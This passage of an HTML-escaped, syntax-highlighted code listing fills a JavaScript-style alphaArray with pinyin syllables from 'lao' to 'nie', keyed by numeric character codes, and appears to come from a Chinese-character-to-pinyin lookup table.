&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16180&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16171&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"le"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16169&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lei"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16158&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"leng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16155&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"li"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15959&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lia"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15958&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lian"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15944&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"liang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15933&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"liao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15920&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lie"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15915&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lin"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15903&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ling"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15889&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"liu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15878&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"long"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15707&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15701&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15681&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lv"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15667&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"luan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15661&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lue"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15659&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15652&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"luo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15640&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ma"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15631&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"mai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15625&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"man"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15454&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"mang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15448&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"mao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15436&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"me"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15435&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"mei"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15419&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"men"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15416&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"meng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15408&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"mi"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15394&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"mian"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15385&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"miao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15377&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"mie"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15375&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"min"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15369&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ming"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15363&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"miu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15362&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"mo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15183&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"mou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15180&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"mu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15165&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"na"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15158&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15153&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15150&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15149&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15144&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ne"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15143&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nei"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15141&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nen"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15140&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"neng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15139&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ni"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15128&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nian"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15121&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"niang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15119&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"niao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15117&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nie"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
